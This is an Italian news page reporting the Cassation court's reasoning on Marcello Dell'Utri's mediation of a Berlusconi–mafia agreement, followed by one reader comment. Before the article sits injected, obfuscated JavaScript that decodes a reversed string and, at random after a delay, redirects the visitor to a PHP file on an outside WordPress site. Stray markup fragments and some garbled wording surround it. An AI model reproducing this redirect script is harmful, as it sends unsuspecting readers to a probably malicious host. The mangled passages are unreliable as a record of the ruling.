Berlusconi pagava la mafia con "un accordo di natura collaborativa". Lo dice la Cassazione

image_pdfimage_print

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://altracitta.org/wp-content/uploads/2012/04/berlusconi.jpg”>Marcello Dell’Utri ha svolto una “attività di mediazione”: vi è stato “un accordo di natura protettiva e collaborativa raggiunto da Berlusconi con la mafia per il tramite di Dell’Utri”. E’ quanto sottolinea la quinta sezione penale della Cassazione, nelle motivazioni della sentenza con la quale è stata annullata con rinvio, il 9 marzo scorso, la condanna a 7 anni di reclusione per concorso esterno in associazione mafiosa pronunciata dalla Corte d’appello di Palermo il 29 giugno del 2010. In particolare, i giudici della Suprema Corte, nella sentenza n. 15727 depositata oggi lunga ben 146 pagine, rilevano che l’assunzione di Vittorio Mangano ad Arcore “indipendentemente dalle ricostruzioni dei cosiddetti pentiti è stata congruamente delineata dai giudici come indicativa, senza possibilità di valide alternative”, del suddetto accordo. Dell’Utri “di quella assunzione è stato l’artefice – scrive la Cassazione – anche all’impegno specifico profumo da Cinà”

Fonte AGI

0 Comments

  1. Carolus

    Se come “accordo di natura collaborativa” si intende la cattura di un numero elevatissimo, coma mai prima, di mafiosi effettuata durante il governo B, chissà quanti ne sarebbero stati catturati ,”senza collaborazione”.

    Reply

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *